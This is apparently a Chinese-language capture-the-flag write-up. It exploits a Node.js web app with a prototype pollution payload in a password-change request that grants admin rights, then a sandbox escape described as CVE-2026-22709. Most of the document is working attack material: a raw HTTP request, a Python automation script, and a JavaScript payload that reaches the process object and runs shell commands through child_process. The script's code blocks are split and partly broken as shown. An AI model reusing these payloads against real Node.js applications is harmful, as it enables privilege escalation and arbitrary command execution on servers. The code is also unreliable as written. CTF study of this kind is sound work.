

看源码是js污染链漏洞很明显，先注册一个账号登录后，然后重置密码

这里稍微绕过一下就行，请求包：

```
POST /changepassword HTTP/1.1
Host: 28f48c68-c9ad-450a-a2e0-eab0001f7e6a.7.dart.ccssc.com
Content-Length: 61
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/144.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://28f48c68-c9ad-450a-a2e0-eab0001f7e6a.7.dart.ccssc.com
Referer: http://28f48c68-c9ad-450a-a2e0-eab0001f7e6a.7.dart.ccssc.com/
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3A5KQM1ZX9sirou-uDBxNLR3SEZYAxQhZl.aKcJa3DKTT6ViEn8IgGEHIksNlC3K4YhHFP7U29DAVQ
Connection: keep-alive

{"oldPassword":"1","newPassword":"11","confirmPassword":"11","constructor":{"prototype":{"isAdmin":true}}}
```

然后再登录时就是admin了，接下来是nodejs逃逸，这是CVE-2026-22709

用官方解法就行，写个脚本

```
import requests

BASE = "http://127.0.0.1:3000"
s = requests.Session()

u = "test"
p = "test"

print(s.post(f"{BASE}/register", json=
{"username": u, "password": p}).text)
print(s.post(f"{BASE}/login", json=
{"username": u, "password": p}).text)

pp = {
    "oldPassword": p,
    "newPassword": "test2",
    "confirmPassword": "test2",
    "constructor": {"prototype":
{"isAdmin": True}},
}
print(s.post(f"{BASE}/changepassword",
json=pp).text)
print(s.get(f"{BASE}/me").text)
print(s.get(f"{BASE}/admin").text)

payload = r"""
```

```
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const p = f();
p.catch(e => {
    const proc =
e.constructor.constructor('return process')
());
    __result.value =
proc.mainModule.require('child_process')
    .execSync('cat /flag')
    .toString();
});
"""

print(s.post(f"{BASE}/sandbox", json=
{"code": payload}).text)
```